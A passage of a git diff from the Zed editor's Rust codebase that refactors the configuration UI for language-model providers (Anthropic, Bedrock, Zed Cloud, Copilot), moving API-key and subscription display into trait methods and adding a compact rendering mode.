-                .child(Label::new(ERROR_LABEL))
-                .child(self.render_reinstall_button(false))
-                .into_any_element()
+            (
+                ERROR_LABEL,
+                self.render_reinstall_button(false).into_any_element(),
+            )
         } else if self.has_no_status() {
-            v_flex()
-                .gap_2()
-                .child(Label::new(no_status_label))
-                .child(self.render_sign_in_button(false))
-                .into_any_element()
+            (
+                no_status_label,
+                self.render_sign_in_button(false).into_any_element(),
+            )
         } else {
-            v_flex()
-                .gap_2()
-                .child(Label::new(start_label))
-                .child(self.render_sign_in_button(false))
-                .into_any_element()
-        }
+            (
+                start_label,
+                self.render_sign_in_button(false).into_any_element(),
+            )
+        };
+
+        v_flex()
+            .gap_2()
+            .when(!self.compact, |this| this.child(Label::new(label)))
+            .child(button)
     }
 }
 
@@ -689,13 +703,15 @@ impl Render for ConfigurationView {
         let is_authenticated = &self.is_authenticated;
 
         if is_authenticated(cx) {
-            return ConfiguredApiCard::new("Authorized")
+            let sign_out = |_: &gpui::ClickEvent, window: &mut Window, cx: &mut App| {
+                if let Some(auth) = GlobalCopilotAuth::try_global(cx) {
+                    initiate_sign_out(auth.0.clone(), window, cx);
+                }
+            };
+
+            return ConfiguredApiCard::new("copilot-authorized", "Authorized")
                 .button_label("Sign Out")
-                .on_click(|_, window, cx| {
-                    if let Some(auth) = GlobalCopilotAuth::try_global(cx) {
-                        initiate_sign_out(auth.0.clone(), window, cx);
-                    }
-                })
+                .on_click(sign_out)
                 .into_any_element();
         }
 
diff --git a/crates/feature_flags/src/flags.rs b/crates/feature_flags/src/flags.rs
index 2552eacf102455..31096cc38bcd3b 100644
--- a/crates/feature_flags/src/flags.rs
+++ b/crates/feature_flags/src/flags.rs
@@ -111,17 +111,13 @@ impl FeatureFlag for AgentThreadWorktreeLabelFlag {
 }
 register_feature_flag!(AgentThreadWorktreeLabelFlag);
 
-/// Moves LLM provider and MCP server configuration out of the dedicated agent
-/// panel page and into the settings UI. When enabled, the agent panel no longer
-/// shows its configuration overlay and the settings UI exposes the "LLM
-/// Providers" and "MCP Servers" sub-pages instead.
-pub struct AgentSettingsUiFeatureFlag;
-
-impl FeatureFlag for AgentSettingsUiFeatureFlag {
-    const NAME: &'static str = "agent-settings-ui";
+pub struct AutoWatchFeatureFlag;
+
+impl FeatureFlag for AutoWatchFeatureFlag {
+    const NAME: &'static str = "auto-watch-screens";
     type Value = PresenceFlag;
 }
-register_feature_flag!(AgentSettingsUiFeatureFlag);
+register_feature_flag!(AutoWatchFeatureFlag);
 
 /// Wraps agent-run terminal commands in an OS-level sandbox where supported
 /// (currently macOS Seatbelt only). When off, terminal commands run with the
diff --git a/crates/language_model/src/language_model.rs b/crates/language_model/src/language_model.rs
index df911d1b77ba6b..7a8aa00f92daf2 100644
--- a/crates/language_model/src/language_model.rs
+++ b/crates/language_model/src/language_model.rs
@@ -371,6 +371,22 @@ pub trait LanguageModelProvider: 'static {
         ProviderConfigurationView::SubPage(self.configuration_view(target_agent, window, cx))
     }
 
+    fn inline_title(&self, _cx: &App) -> Option<SharedString> {
+        None
+    }
+
+    fn inline_description(&self, _cx: &App) -> Option<InlineDescription> {
+        None
+    }
+
+    fn api_key_configuration(&self, _cx: &App) -> Option<ApiKeyConfiguration> {
+        None
+    }
+
+    fn set_api_key(&self, _key: String, _cx: &mut App) -> Task<Result<()>> {
+        Task::ready(Ok(()))
+    }
+
     /// Copy shown the first time a user enables fast mode for a model from
     /// this provider. Returning `None` skips the confirmation prompt and lets
     /// the toggle apply silently.
@@ -382,13 +398,31 @@ pub trait LanguageModelProvider: 'static {
 /// How a provider's configuration UI prefers to be presented by the settings UI.
 #[derive(Clone)]
 pub enum ProviderConfigurationView {
-    /// A compact control suitable for rendering inline in a list row, such as a
-    /// single API-key field.
-    Inline(AnyView),
-    /// A richer view that should be shown on its own dedicated sub-page.
+    Inline { view: AnyView },
     SubPage(AnyView),
 }
 
+/// A live snapshot of a single-API-key provider's credential state, used by the
+/// settings UI to render the provider's "API Key" section.
+#[derive(Clone)]
+pub struct ApiKeyConfiguration {
+    pub has_key: bool,
+    pub is_from_env_var: bool,
+    pub env_var_name: SharedString,
+    pub api_key_url: SharedString,
+}
+
+/// The subtitle rendered beneath a provider's name when its configuration is
+/// shown inline.
+#[derive(Clone)]
+pub enum InlineDescription {
+    /// A clickable "Where to find key" link pointing at the given URL, for
+    /// API-key based providers.
+    ApiKeyUrl(SharedString),
+    /// Plain descriptive text, e.g. explaining a sign-in based provider.
+    Text(SharedString),
+}
+
 /// Provider-specific copy shown the first time a user enables fast mode.
 #[derive(Debug, Clone)]
 pub struct FastModeConfirmation {
diff --git a/crates/language_models/src/api_key_editor.rs b/crates/language_models/src/api_key_editor.rs
deleted file mode 100644
index d6a9182a662b4b..00000000000000
--- a/crates/language_models/src/api_key_editor.rs
+++ /dev/null
@@ -1,155 +0,0 @@
-use std::rc::Rc;
-
-use anyhow::Result;
-use gpui::{App, Context, Entity, Subscription, Task, Window};
-use language_model::ApiKeyState;
-use ui::{Tooltip, prelude::*};
-use ui_input::InputField;
-
-/// The current credential state of a single-API-key provider, as reported by the
-/// provider when constructing an [`ApiKeyEditor`].
-pub enum ApiKeyStatus {
-    /// No key is configured; show the input field.
-    Unset,
-    /// A key is configured via the UI; show a "configured" row with a reset.
-    Configured,
-    /// The key comes from an environment variable and can't be edited here.
-    FromEnvVar(SharedString),
-}
-
-/// Maps a provider's [`ApiKeyState`] to the [`ApiKeyStatus`] the editor renders.
-/// Shared so the API-key providers don't each duplicate this mapping.
-pub fn api_key_status(state: &ApiKeyState) -> ApiKeyStatus {
-    if state.is_from_env_var() {
-        ApiKeyStatus::FromEnvVar(state.env_var_name().clone())
-    } else if state.has_key() {
-        ApiKeyStatus::Configured
-    } else {
-        ApiKeyStatus::Unset
-    }
-}
-
-/// A compact, reusable control for editing a provider's single API key, intended
-/// to be returned from `LanguageModelProvider::configuration_view_v2` as an
-/// inline control.
-///
-/// It is deliberately provider-agnostic: the provider supplies closures that
-/// read the current [`ApiKeyStatus`] and store/clear the key against its own
-/// state, so all credential knowledge stays in the provider.
-pub struct ApiKeyEditor {
-    input: Entity<InputField>,
-    api_key_url: SharedString,
-    status: Rc<dyn Fn(&App) -> ApiKeyStatus>,
-    set_key: Rc<dyn Fn(String, &mut App) -> Task<Result<()>>>,
-    reset_key: Rc<dyn Fn(&mut App) -> Task<Result<()>>>,
-    _subscription: Subscription,
-}
-
-impl ApiKeyEditor {
-    pub fn new<S: 'static>(
-        state: Entity<S>,
-        api_key_url: impl Into<SharedString>,
-        placeholder: &str,
-        status: impl Fn(&S, &App) -> ApiKeyStatus + 'static,
-        set_key: impl Fn(&Entity<S>, String, &mut App) -> Task<Result<()>> + 'static,
-        reset_key: impl Fn(&Entity<S>, &mut App) -> Task<Result<()>> + 'static,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Self {
-        let input = cx.new(|cx| {
-            InputField::new(window, cx, placeholder)
-                .masked(true)
-                .tab_index(0)
-        });
-        let subscription = cx.observe(&state, |_, _, cx| cx.notify());
-
-        let status_state = state.clone();
-        let set_state = state.clone();
-        Self {
-            input,
-            api_key_url: api_key_url.into(),
-            status: Rc::new(move |cx| status(status_state.read(cx), cx)),
-            set_key: Rc::new(move |key, cx| set_key(&set_state, key, cx)),
-            reset_key: Rc::new(move |cx| reset_key(&state, cx)),
-            _subscription: subscription,
-        }
-    }
-
-    fn save(&mut self, _: &menu::Confirm, window: &mut Window, cx: &mut Context<Self>) {
-        let key = self.input.read(cx).text(cx).trim().to_string();
-        if key.is_empty() {
-            return;
-        }
-        self.input
-            .update(cx, |input, cx| input.set_text("", window, cx));
-        (self.set_key.clone())(key, cx).detach_and_log_err(cx);
-    }
-
-    fn reset(&mut self, cx: &mut Context<Self>) {
-        (self.reset_key.clone())(cx).detach_and_log_err(cx);
-    }
-
-    fn render_where_to_find_key(&self) -> impl IntoElement {
-        let url = self.api_key_url.clone();
-        let click_url = url.to_string();
-        h_flex()
-            .id("where-to-find-key")
-            .gap_0p5()
-            .cursor_pointer()
-            .child(
-                Icon::new(IconName::Info)
-                    .size(IconSize::XSmall)
-                    .color(Color::Muted),
-            )
-            .child(
-                Label::new("Where to find key")
-                    .size(LabelSize::Small)
-                    .color(Color::Muted),
-            )
-            .tooltip(Tooltip::text(format!("Create an API key at {url}")))
-            .on_click(move |_, _window, cx| cx.open_url(&click_url))
-    }
-}
-
-impl Render for ApiKeyEditor {
-    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        match (self.status)(cx) {
-            ApiKeyStatus::FromEnvVar(env_var_name) => Label::new(format!("Set via {env_var_name}"))
-                .size(LabelSize::Small)
-                .color(Color::Muted)
-                .into_any_element(),
-            ApiKeyStatus::Configured => h_flex()
-                .gap_2()
-                .items_center()
-                .child(
-                    Icon::new(IconName::Check)
-                        .size(IconSize::Small)
-                        .color(Color::Success),
-                )
-                .child(
-                    Label::new("Configured")
-                        .size(LabelSize::Small)
-                        .color(Color::Muted),
-                )
-                .child(
-                    Button::new("reset-api-key", "Reset")
-                        .style(ButtonStyle::Outlined)
-                        .label_size(LabelSize::Small)
-                        .tab_index(0isize)
-                        .on_click(cx.listener(|this, _, _window, cx| this.reset(cx))),
-                )
-                .into_any_element(),
-            ApiKeyStatus::Unset => v_flex()
-                .w_full()
-                .gap_1()
-                .child(self.render_where_to_find_key())
-                .child(
-                    div()
-                        .w_full()
-                        .on_action(cx.listener(Self::save))
-                        .child(self.input.clone()),
-                )
-                .into_any_element(),
-        }
-    }
-}
diff --git a/crates/language_models/src/language_models.rs b/crates/language_models/src/language_models.rs
index 1133ee2d47760e..a9ec2b028ff46d 100644
--- a/crates/language_models/src/language_models.rs
+++ b/crates/language_models/src/language_models.rs
@@ -10,12 +10,10 @@ use language_model::{
 };
 use provider::deepseek::DeepSeekLanguageModelProvider;
 
-mod api_key_editor;
 pub mod extension;
 pub mod provider;
 mod settings;
 
-pub use crate::api_key_editor::{ApiKeyEditor, ApiKeyStatus, api_key_status};
 pub use crate::extension::init_proxy as init_extension_proxy;
 
 use crate::provider::anthropic::AnthropicLanguageModelProvider;
diff --git a/crates/language_models/src/provider/anthropic.rs b/crates/language_models/src/provider/anthropic.rs
index 46ef381f3127df..1841a9619d2537 100644
--- a/crates/language_models/src/provider/anthropic.rs
+++ b/crates/language_models/src/provider/anthropic.rs
@@ -8,12 +8,12 @@ use futures::{FutureExt, StreamExt, future::BoxFuture, stream::BoxStream};
 use gpui::{AnyView, App, AsyncApp, Context, Entity, Task, TaskExt};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
-    ANTHROPIC_PROVIDER_ID, ANTHROPIC_PROVIDER_NAME, ApiKeyState, AuthenticateError,
-    ConfigurationViewTargetAgent, EnvVar, FastModeConfirmation, IconOrSvg, LanguageModel,
-    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId, LanguageModelName,
-    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
-    LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
-    ProviderConfigurationView, RateLimiter, env_var,
+    ANTHROPIC_PROVIDER_ID, ANTHROPIC_PROVIDER_NAME, ApiKeyConfiguration, ApiKeyState,
+    AuthenticateError, ConfigurationViewTargetAgent, EnvVar, FastModeConfirmation, IconOrSvg,
+    LanguageModel, LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId,
+    LanguageModelName, LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
+    LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice, RateLimiter,
+    env_var,
 };
 use settings::{Settings, SettingsStore};
 use std::sync::{Arc, LazyLock};
@@ -290,28 +290,19 @@ impl LanguageModelProvider for AnthropicLanguageModelProvider {
             .update(cx, |state, cx| state.set_api_key(None, cx))
     }
 
-    fn configuration_view_v2(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> ProviderConfigurationView {
-        let state = self.state.clone();
-        ProviderConfigurationView::Inline(
-            cx.new(|cx| {
-                crate::ApiKeyEditor::new(
-                    state,
-                    "https://console.anthropic.com/settings/keys",
-                    "sk-ant-...",
-                    |state, _cx| crate::api_key_status(&state.api_key_state),
-                    |state, key, cx| state.update(cx, |state, cx| state.set_api_key(Some(key), cx)),
-                    |state, cx| state.update(cx, |state, cx| state.set_api_key(None, cx)),
-                    window,
-                    cx,
-                )
-            })
-            .into(),
-        )
+    fn api_key_configuration(&self, cx: &App) -> Option<ApiKeyConfiguration> {
+        let state = self.state.read(cx);
+        Some(ApiKeyConfiguration {
+            has_key: state.api_key_state.has_key(),
+            is_from_env_var: state.api_key_state.is_from_env_var(),
+            env_var_name: state.api_key_state.env_var_name().clone(),
+            api_key_url: "https://console.anthropic.com/settings/keys".into(),
+        })
+    }
+
+    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+        self.state
+            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
     }
 
     fn fast_mode_confirmation(&self, _cx: &App) -> Option<FastModeConfirmation> {
@@ -702,7 +693,7 @@ impl Render for ConfigurationView {
                 )
                 .into_any_element()
         } else {
-            ConfiguredApiCard::new(configured_card_label)
+            ConfiguredApiCard::new("anthropic-reset-key", configured_card_label)
                 .disabled(env_var_set)
                 .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
                 .when(env_var_set, |this| {
diff --git a/crates/language_models/src/provider/bedrock.rs b/crates/language_models/src/provider/bedrock.rs
index 755d23f52a22a2..4d843009f7623c 100644
--- a/crates/language_models/src/provider/bedrock.rs
+++ b/crates/language_models/src/provider/bedrock.rs
@@ -32,11 +32,12 @@ use gpui::{
 use gpui_tokio::Tokio;
 use http_client::HttpClient;
 use language_model::{
-    AuthenticateError, EnvVar, IconOrSvg, LanguageModel, LanguageModelCompletionError,
-    LanguageModelCompletionEvent, LanguageModelId, LanguageModelName, LanguageModelProvider,
-    LanguageModelProviderId, LanguageModelProviderName, LanguageModelProviderState,
-    LanguageModelRequest, LanguageModelToolChoice, LanguageModelToolResultContent,
-    LanguageModelToolUse, MessageContent, RateLimiter, Role, TokenUsage, env_var,
+    AuthenticateError, EnvVar, IconOrSvg, InlineDescription, LanguageModel,
+    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId, LanguageModelName,
+    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
+    LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
+    LanguageModelToolResultContent, LanguageModelToolUse, MessageContent, RateLimiter, Role,
+    TokenUsage, env_var,
 };
 use schemars::JsonSchema;
 use serde::{Deserialize, Serialize};
@@ -460,6 +461,12 @@ impl LanguageModelProvider for BedrockLanguageModelProvider {
         IconOrSvg::Icon(IconName::AiBedrock)
     }
 
+    fn inline_description(&self, _cx: &App) -> Option<InlineDescription> {
+        Some(InlineDescription::Text(
+            "To use Zed's agent with Bedrock, set a custom authentication strategy in your settings or use static credentials.".into(),
+        ))
+    }
+
     fn default_model(&self, _cx: &App) -> Option<Arc<dyn LanguageModel>> {
         Some(self.create_language_model(bedrock::Model::default()))
     }
@@ -1492,10 +1499,6 @@ impl ConfigurationView {
             .detach_and_log_err(cx);
     }
 
-    fn should_render_editor(&self, cx: &Context<Self>) -> bool {
-        self.state.read(cx).is_authenticated()
-    }
-
     fn on_tab(&mut self, _: &menu::SelectNext, window: &mut Window, cx: &mut Context<Self>) {
         window.focus_next(cx);
     }
@@ -1577,13 +1580,15 @@ impl Render for ConfigurationView {
             None
         };
 
-        if self.should_render_editor(cx) {
-            return ConfiguredApiCard::new(configured_label)
+        let credentials_control = if self.state.read(cx).is_authenticated() {
+            ConfiguredApiCard::new("bedrock-reset", configured_label)
                 .disabled(env_var_set || is_settings_derived)
                 .on_click(cx.listener(|this, _, window, cx| this.reset_credentials(window, cx)))
                 .when_some(tooltip_label, |this, label| this.tooltip_label(label))
-                .into_any_element();
-        }
+                .into_any_element()
+        } else {
+            self.render_static_credentials_ui().into_any_element()
+        };
 
         v_flex()
             .min_w_0()
@@ -1592,15 +1597,29 @@ impl Render for ConfigurationView {
             .on_action(cx.listener(Self::on_tab))
             .on_action(cx.listener(Self::on_tab_prev))
             .on_action(cx.listener(ConfigurationView::save_credentials))
-            .child(Label::new("To use Zed's agent with Bedrock, you can set a custom authentication strategy through your settings file or use static credentials."))
-            .child(Label::new("But first, to access models on AWS, you need to:").mt_1())
+            .gap_1()
+            .child(Headline::new("Amazon Bedrock").size(HeadlineSize::Small))
+            .child(
+                Label::new(
+                    "To use Zed's agent with Bedrock, you can set a custom authentication strategy through your settings file or use static credentials.",
+                )
+                .color(Color::Muted),
+            )
+            .child(
+                Label::new("But first, to access models on AWS, you need to:")
+                    .mt_1()
+                    .color(Color::Muted),
+            )
             .child(
                 List::new()
                     .child(
                         ListBulletItem::new("")
-                            .child(Label::new(
-                                "Grant permissions to the strategy you'll use according to the:",
-                            ))
+                            .child(
+                                Label::new(
+                                    "Grant permissions to the strategy you'll use according to the:",
+                                )
+                                .color(Color::Muted),
+                            )
                             .child(ButtonLink::new(
                                 "Prerequisites",
                                 "https://docs.aws.amazon.com/bedrock/latest/userguide/inference-prereq.html",
@@ -1608,33 +1627,32 @@ impl Render for ConfigurationView {
                     )
                     .child(
                         ListBulletItem::new("")
-                            .child(Label::new("Select the models you would like access to:"))
+                            .child(
+                                Label::new("Select the models you would like access to:")
+                                    .color(Color::Muted),
+                            )
                             .child(ButtonLink::new(
                                 "Bedrock Model Catalog",
                                 "https://us-east-1.console.aws.amazon.com/bedrock/home?region=us-east-1#/model-catalog",
                             )),
                     ),
             )
-            .child(self.render_static_credentials_ui())
+            .child(credentials_control)
             .into_any()
     }
 }
 
 impl ConfigurationView {
     fn render_static_credentials_ui(&self) -> impl IntoElement {
-        let section_header = |title: SharedString| {
-            h_flex()
-                .gap_2()
-                .child(Label::new(title).size(LabelSize::Default))
-                .child(Divider::horizontal())
-        };
-
         let list_item = List::new()
             .child(
                 ListBulletItem::new("")
-                    .child(Label::new(
-                        "For access keys: Create an IAM user in the AWS console with programmatic access",
-                    ))
+                    .child(
+                        Label::new(
+                            "For access keys: Create an IAM user in the AWS console with programmatic access",
+                        )
+                        .color(Color::Muted),
+                    )
                     .child(ButtonLink::new(
                         "IAM Console",
                         "https://us-east-1.console.aws.amazon.com/iam/home?region=us-east-1#/users",
@@ -1642,7 +1660,10 @@ impl ConfigurationView {
             )
             .child(
                 ListBulletItem::new("")
-                    .child(Label::new("For Bedrock API Keys: Generate an API key from the"))
+                    .child(
+                        Label::new("For Bedrock API Keys: Generate an API key from the")
+                            .color(Color::Muted),
+                    )
                     .child(ButtonLink::new(
                         "Bedrock Console",
                         "https://docs.aws.amazon.com/bedrock/latest/userguide/api-keys-use.html",
@@ -1650,28 +1671,42 @@ impl ConfigurationView {
             )
             .child(
                 ListBulletItem::new("")
-                    .child(Label::new("Attach the necessary Bedrock permissions to"))
+                    .child(
+                        Label::new("Attach the necessary Bedrock permissions to")
+                            .color(Color::Muted),
+                    )
                     .child(ButtonLink::new(
                         "this user",
                         "https://docs.aws.amazon.com/bedrock/latest/userguide/inference-prereq.html",
                     )),
             )
-            .child(ListBulletItem::new(
-                "Enter either access keys OR a Bedrock API Key below (not both)",
-            ));
+            .child(
+                ListBulletItem::new(
+                    "Enter either access keys OR a Bedrock API Key below (not both)",
+                )
+                .label_color(Color::Muted),
+            );
 
         v_flex()
             .my_2()
             .tab_group()
             .gap_1p5()
-            .child(section_header("Static Credentials".into()))
-            .child(Label::new(
-                "This method uses your AWS access key ID and secret access key, or a Bedrock API Key.",
-            ))
+            .child(Divider::horizontal())
+            .child(Label::new("Static Credentials").mt_2())
+            .child(
+                Label::new(
+                    "This method uses your AWS access key ID and secret access key, or a Bedrock API Key.",
+                )
+                .color(Color::Muted),
+            )
             .child(list_item)
-            .child(self.access_key_id_editor.clone())
-            .child(self.secret_access_key_editor.clone())
-            .child(self.session_token_editor.clone())
+            .child(
+                v_flex()
+                    .gap_1()
+                    .child(self.access_key_id_editor.clone())
+                    .child(self.secret_access_key_editor.clone())
+                    .child(self.session_token_editor.clone()),
+            )
             .child(
                 Label::new(format!(
                     "You can also set the {}, {} and {} environment variables (or {} for Bedrock API Key authentication) and restart Zed.",
@@ -1695,7 +1730,8 @@ impl ConfigurationView {
                 .mt_1()
                 .mb_2p5(),
             )
-            .child(section_header("Using the an API key".into()))
+            .child(Divider::horizontal())
+            .child(Label::new("Using the API key").mt_2().mb_1())
             .child(self.bearer_token_editor.clone())
             .child(
                 Label::new(format!(
diff --git a/crates/language_models/src/provider/cloud.rs b/crates/language_models/src/provider/cloud.rs
index cdd4bb6c8aae0e..926f99eae1b60a 100644
--- a/crates/language_models/src/provider/cloud.rs
+++ b/crates/language_models/src/provider/cloud.rs
@@ -11,9 +11,10 @@ use futures::StreamExt;
 use futures::future::BoxFuture;
 use gpui::{AnyElement, AnyView, App, AppContext, Context, Entity, Subscription, Task, TaskExt};
 use language_model::{
-    AuthenticateError, FastModeConfirmation, IconOrSvg, LanguageModel, LanguageModelProvider,
-    LanguageModelProviderId, LanguageModelProviderName, LanguageModelProviderState,
-    ProviderConfigurationView, ZED_CLOUD_PROVIDER_ID, ZED_CLOUD_PROVIDER_NAME,
+    AuthenticateError, FastModeConfirmation, IconOrSvg, InlineDescription, LanguageModel,
+    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
+    LanguageModelProviderState, ProviderConfigurationView, ZED_CLOUD_PROVIDER_ID,
+    ZED_CLOUD_PROVIDER_NAME,
 };
 use language_models_cloud::{CloudLlmTokenProvider, CloudModelProvider};
 use rand::{Rng as _, SeedableRng as _, rngs::StdRng};
@@ -365,20 +366,55 @@ impl LanguageModelProvider for CloudLanguageModelProvider {
         _: &mut Window,
         cx: &mut App,
     ) -> AnyView {
-        cx.new(|_| ConfigurationView::new(self.state.clone()))
+        cx.new(|_| ConfigurationView::new(self.state.clone(), false))
             .into()
     }
 
     fn configuration_view_v2(
         &self,
-        target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
+        _target_agent: language_model::ConfigurationViewTargetAgent,
+        _window: &mut Window,
         cx: &mut App,
     ) -> ProviderConfigurationView {
-        // The Zed sign-in/plan control is small enough that sending users to a
-        // dedicated sub-page just to reach it would be annoying, so render it
-        // inline even though it isn't an API-key field.
-        ProviderConfigurationView::Inline(self.configuration_view(target_agent, window, cx))
+        ProviderConfigurationView::Inline {
+            view: cx
+                .new(|_| ConfigurationView::new(self.state.clone(), true))
+                .into(),
+        }
+    }
+
+    fn inline_description(&self, cx: &App) -> Option<InlineDescription> {
+        let state = self.state.read(cx);
+        let user_store = state.user_store.read(cx);
+        let is_zed_model_provider_enabled = user_store
+            .current_organization_configuration()
+            .map_or(true, |config| config.is_zed_model_provider_enabled);
+
+        Some(InlineDescription::Text(
+            zed_ai_description(
+                !state.is_signed_out(cx),
+                user_store.plan(),
+                is_zed_model_provider_enabled,
+                user_store.trial_started_at().is_none(),
+            )
+            .into(),
+        ))
+    }
+
+    fn inline_title(&self, cx: &App) -> Option<SharedString> {
+        let state = self.state.read(cx);
+        if state.is_signed_out(cx) {
+            return None;
+        }
+        let plan_name = match state.user_store.read(cx).plan()? {
+            Plan::ZedPro => "Pro",
+            Plan::ZedProTrial => "Pro Trial",
+            Plan::ZedStudent => "Student",
+            Plan::ZedBusiness => "Business",
+            Plan::ZedVip => "VIP",
+            Plan::ZedFree => return None,
+        };
+        Some(format!("Subscribed to {plan_name}").into())
     }
 
     fn reset_credentials(&self, _cx: &mut App) -> Task<Result<()>> {
@@ -413,63 +449,86 @@ struct ZedAiConfiguration {
     is_zed_model_provider_enabled: bool,
     eligible_for_trial: bool,
     account_too_young: bool,
+    compact: bool,
     sign_in_callback: Arc<dyn Fn(&mut Window, &mut App) + Send + Sync>,
 }
 
+fn zed_ai_description(
+    is_connected: bool,
+    plan: Option<Plan>,
+    is_zed_model_provider_enabled: bool,
+    eligible_for_trial: bool,
+) -> &'static str {
+    if !is_connected {
+        return "Sign in to have access to Zed's complete agentic experience with hosted models.";
+    }
+
+    match plan {
+        Some(Plan::ZedPro) => {
+            "You have access to Zed's hosted models through your Pro subscription."
+        }
+        Some(Plan::ZedProTrial) => "You have access to Zed's hosted models through your Pro trial.",
+        Some(Plan::ZedStudent) => {
+            "You have access to Zed's hosted models through your Student subscription."
+        }
+        Some(Plan::ZedBusiness) => {
+            if is_zed_model_provider_enabled {
+                "You have access to Zed's hosted models through your organization."
+            } else {
+                "Zed's hosted models are disabled by your organization's configuration."
+            }
+        }
+        Some(Plan::ZedVip) => {
+            "You have access to Zed's hosted models through your VIP subscription."
+        }
+        Some(Plan::ZedFree) | None => {
+            if eligible_for_trial {
+                "Subscribe for access to Zed's hosted models. Start with a 14 day free trial."
+            } else {
+                "Subscribe for access to Zed's hosted models."
+            }
+        }
+    }
+}
+
 impl RenderOnce for ZedAiConfiguration {
     fn render(self, _window: &mut Window, _cx: &mut App) -> impl IntoElement {
-        let (subscription_text, has_paid_plan) = match self.plan {
-            Some(Plan::ZedPro) => (
-                "You have access to Zed's hosted models through your Pro subscription.",
-                true,
-            ),
-            Some(Plan::ZedProTrial) => (
-                "You have access to Zed's hosted models through your Pro trial.",
-                false,
-            ),
-            Some(Plan::ZedStudent) => (
-                "You have access to Zed's hosted models through your Student subscription.",
-                true,
-            ),
-            Some(Plan::ZedBusiness) => (
-                if self.is_zed_model_provider_enabled {
-                    "You have access to Zed's hosted models through your organization."
-                } else {
-                    "Zed's hosted models are disabled by your organization's configuration."
-                },
-                true,
-            ),
-            Some(Plan::ZedVip) => (
-                "You have access to Zed's hosted models through your VIP subscription.",
-                true,
-            ),
+        let has_paid_plan = matches!(
+            self.plan,
+            Some(Plan::ZedPro | Plan::ZedStudent | Plan::ZedBusiness | Plan::ZedVip)
+        );
 
-            Some(Plan::ZedFree) | None => (
-                if self.eligible_for_trial {
-                    "Subscribe for access to Zed's hosted models. Start with a 14 day free trial."
-                } else {
-                    "Subscribe for access to Zed's hosted models."
-                },
-                false,
-            ),
-        };
+        let description = zed_ai_description(
+            self.is_connected,
+            self.plan,
+            self.is_zed_model_provider_enabled,
+            self.eligible_for_trial,
+        );
 
         let manage_subscription_buttons = if has_paid_plan {
             Button::new("manage_settings", "Manage Subscription")
-                .full_width()
-                .label_size(LabelSize::Small)
+                .when(!self.compact, |this| {
+                    this.full_width().label_size(LabelSize::Small)
+                })
+                .when(self.compact, |this| this.size(ButtonSize::Medium))
                 .style(ButtonStyle::Tinted(TintColor::Accent))
                 .on_click(|_, _, cx| cx.open_url(&zed_urls::account_url(cx)))
                 .into_any_element()
         } else if self.plan.is_none() || self.eligible_for_trial {
             Button::new("start_trial", "Start 14-day Free Pro Trial")
-                .full_width()
+                .when(!self.compact, |this| {
+                    this.full_width().label_size(LabelSize::Small)
+                })
+                .when(self.compact, |this| this.size(ButtonSize::Medium))
                 .style(ui::ButtonStyle::Tinted(ui::TintColor::Accent))
                 .on_click(|_, _, cx| cx.open_url(&zed_urls::start_trial_url(cx)))
                 .into_any_element()
         } else {
             Button::new("upgrade", "Upgrade to Pro")
-                .full_width()
+                .when(!self.compact, |this| {
+                    this.full_width().label_size(LabelSize::Small)
+                })
+                .when(self.compact, |this| this.size(ButtonSize::Medium))
                 .style(ui::ButtonStyle::Tinted(ui::TintColor::Accent))
                 .on_click(|_, _, cx| cx.open_url(&zed_urls::upgrade_to_zed_pro_url(cx)))
                 .into_any_element()
@@ -478,11 +537,15 @@ impl RenderOnce for ZedAiConfiguration {
         if !self.is_connected {
             return v_flex()
                 .gap_2()
-                .child(Label::new("Sign in to have access to Zed's complete agentic experience with hosted models."))
+                .when(!self.compact, |this| this.child(Label::new(description)))
                 .child(
                     Button::new("sign_in", "Sign In to use Zed AI")
-                        .start_icon(Icon::new(IconName::Github).size(IconSize::Small).color(Color::Muted))
-                        .full_width()
+                        .start_icon(
+                            Icon::new(IconName::Github)
+                                .size(IconSize::Small)
+                                .color(Color::Muted),
+                        )
+                        .when(!self.compact, |this| this.full_width())
                         .on_click({
                             let callback = self.sign_in_callback.clone();
                             move |_, window, cx| (callback)(window, cx)
@@ -490,30 +553,35 @@ impl RenderOnce for ZedAiConfiguration {
                 );
         }
 
-        v_flex().gap_2().w_full().map(|this| {
-            if self.account_too_young {
-                this.child(YoungAccountBanner).child(
-                    Button::new("upgrade", "Upgrade to Pro")
-                        .style(ui::ButtonStyle::Tinted(ui::TintColor::Accent))
-                        .full_width()
-                        .on_click(|_, _, cx| cx.open_url(&zed_urls::upgrade_to_zed_pro_url(cx))),
-                )
-            } else {
-                this.text_sm()
-                    .child(subscription_text)
-                    .child(manage_subscription_buttons)
-            }
-        })
+        v_flex()
+            .gap_2()
+            .when(!self.compact, |this| this.w_full())
+            .map(|this| {
+                if self.account_too_young {
+                    this.child(YoungAccountBanner).child(
+                        Button::new("upgrade", "Upgrade to Pro")
+                            .style(ui::ButtonStyle::Tinted(ui::TintColor::Accent))
+                            .when(!self.compact, |this| this.full_width())
+                            .on_click(|_, _, cx| {
+                                cx.open_url(&zed_urls::upgrade_to_zed_pro_url(cx))
+                            }),
+                    )
+                } else {
+                    this.when(!self.compact, |this| this.text_sm().child(description))
+                        .child(manage_subscription_buttons)
+                }
+            })
     }
 }
 
 struct ConfigurationView {
     state: Entity<State>,
+    compact: bool,
     sign_in_callback: Arc<dyn Fn(&mut Window, &mut App) + Send + Sync>,
 }
 
 impl ConfigurationView {
-    fn new(state: Entity<State>) -> Self {
+    fn new(state: Entity<State>, compact: bool) -> Self {
         let sign_in_callback = Arc::new({
             let state = state.clone();
